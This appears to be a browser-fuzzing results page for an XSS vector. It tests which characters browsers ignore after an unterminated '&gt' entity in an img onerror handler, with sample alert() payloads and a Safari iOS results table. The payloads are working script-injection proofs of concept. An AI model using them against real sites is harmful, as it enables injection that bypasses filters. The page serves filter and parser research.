Characters allowed after greater than in events

This vector shows which characters are ignored after the greater than entity without a semi-colon

Created by: hackvertor

Created on: Friday, June 21, 2024 at 8:46:09 PM

Updated on: Thursday, July 11, 2024 at 2:38:45 AM

Vector type: XSS

Template used:
<img src=data: onerror="1&gt$[chr] log($[i])">
Your browser was detected as:
Detecting... Detecting... Detecting... Detecting...

Sample payloads

<img src=data: onerror="1&gt alert(65279)">
<img src=data: onerror="1&gt
 alert(8232)">
<img src=data: onerror="1&gt> alert(62)">
<img src=data: onerror="1&gt~ alert(126)">
<img src=data: onerror="1&gt  alert(12288)">
<img src=data: onerror="1&gt  alert(8195)">
<img src=data: onerror="1&gt  alert(8192)">
<img src=data: onerror="1&gt  alert(8196)">
<img src=data: onerror="1&gt  alert(8198)">
<img src=data: onerror="1&gt! alert(33)">
<img src=data: onerror="1&gt
 alert(8233)">
<img src=data: onerror="1&gt- alert(45)">
<img src=data: onerror="1&gt  alert(160)">
<img src=data: onerror="1&gt  alert(8197)">
<img src=data: onerror="1&gt  alert(8200)">
<img src=data: onerror="1&gt+ alert(43)">
<img src=data: onerror="1&gt  alert(8202)">
<img src=data: onerror="1&gt  alert(32)">
<img src=data: onerror="1&gt  alert(5760)">
<img src=data: onerror="1&gt  alert(8194)">

Fuzz results

Safari logo
Safari 17.5 mobile iOS 17.5.1
Fri Jun 21 2024
Found 31 results
DecHexChr
909HT
DecHexChr
100aLF
DecHexChr
110bVT
DecHexChr
120cFF
DecHexChr
130dCR
DecHexChr
3220SPACE
DecHexChr
3321!
DecHexChr
432b+
DecHexChr
452d-
DecHexChr
593b;
DecHexChr
623e>
DecHexChr
1267e~
DecHexChr
160a0 
DecHexChr
57601680
DecHexChr
81922000 
DecHexChr
81932001
DecHexChr
81942002
DecHexChr
81952003
DecHexChr
81962004
DecHexChr
81972005
DecHexChr
81982006
DecHexChr
81992007
DecHexChr
82002008
DecHexChr
82012009
DecHexChr
8202200a
DecHexChr
82322028
DecHexChr
82332029
DecHexChr
8239202f
DecHexChr
8287205f
DecHexChr
122883000 
DecHexChr
65279feff